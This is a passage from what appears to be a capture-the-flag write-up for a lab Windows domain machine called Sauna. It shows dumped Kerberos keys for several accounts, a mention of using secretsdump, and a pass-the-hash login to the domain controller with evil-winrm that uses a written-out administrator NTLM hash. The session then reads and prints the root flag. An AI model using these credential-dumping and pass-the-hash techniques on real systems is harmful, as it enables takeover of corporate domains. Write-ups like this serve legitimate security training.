EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loannmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loannmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loannmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:3826a4b68f2fff863436467e428558300b5926b0d6b34501e5fca433b5cd97ae
SAUNA$:aes128-cts-hmac-sha1-96:7a431189c5072e49c6ee618bd6dd3e50
SAUNA$:des-cbc-md5:104c515b86739e08
```

Secretedump

I got the hash of the domain admin and used it for Pass The Hash attack to access the DC as a Doamin Admin.

```
*Evil-WinRM* PS C:\Users> cd Administrator
*Evil-WinRM* PS C:\Users\Administrator> ls
Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ ls
+ ~
+ CategoryInfo          : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Users\Administrator> exit

Info: Exiting with code 0
bright@kali:~/sauna$ evil-winrm -i 10.10.10.175 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e

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Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
SAUNA
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cat Desktop\root.txt
7d103b3e8b86612be5a7ed1bf8cc74c1
*Evil-WinRM* PS C:\Users\Administrator>
```

Admin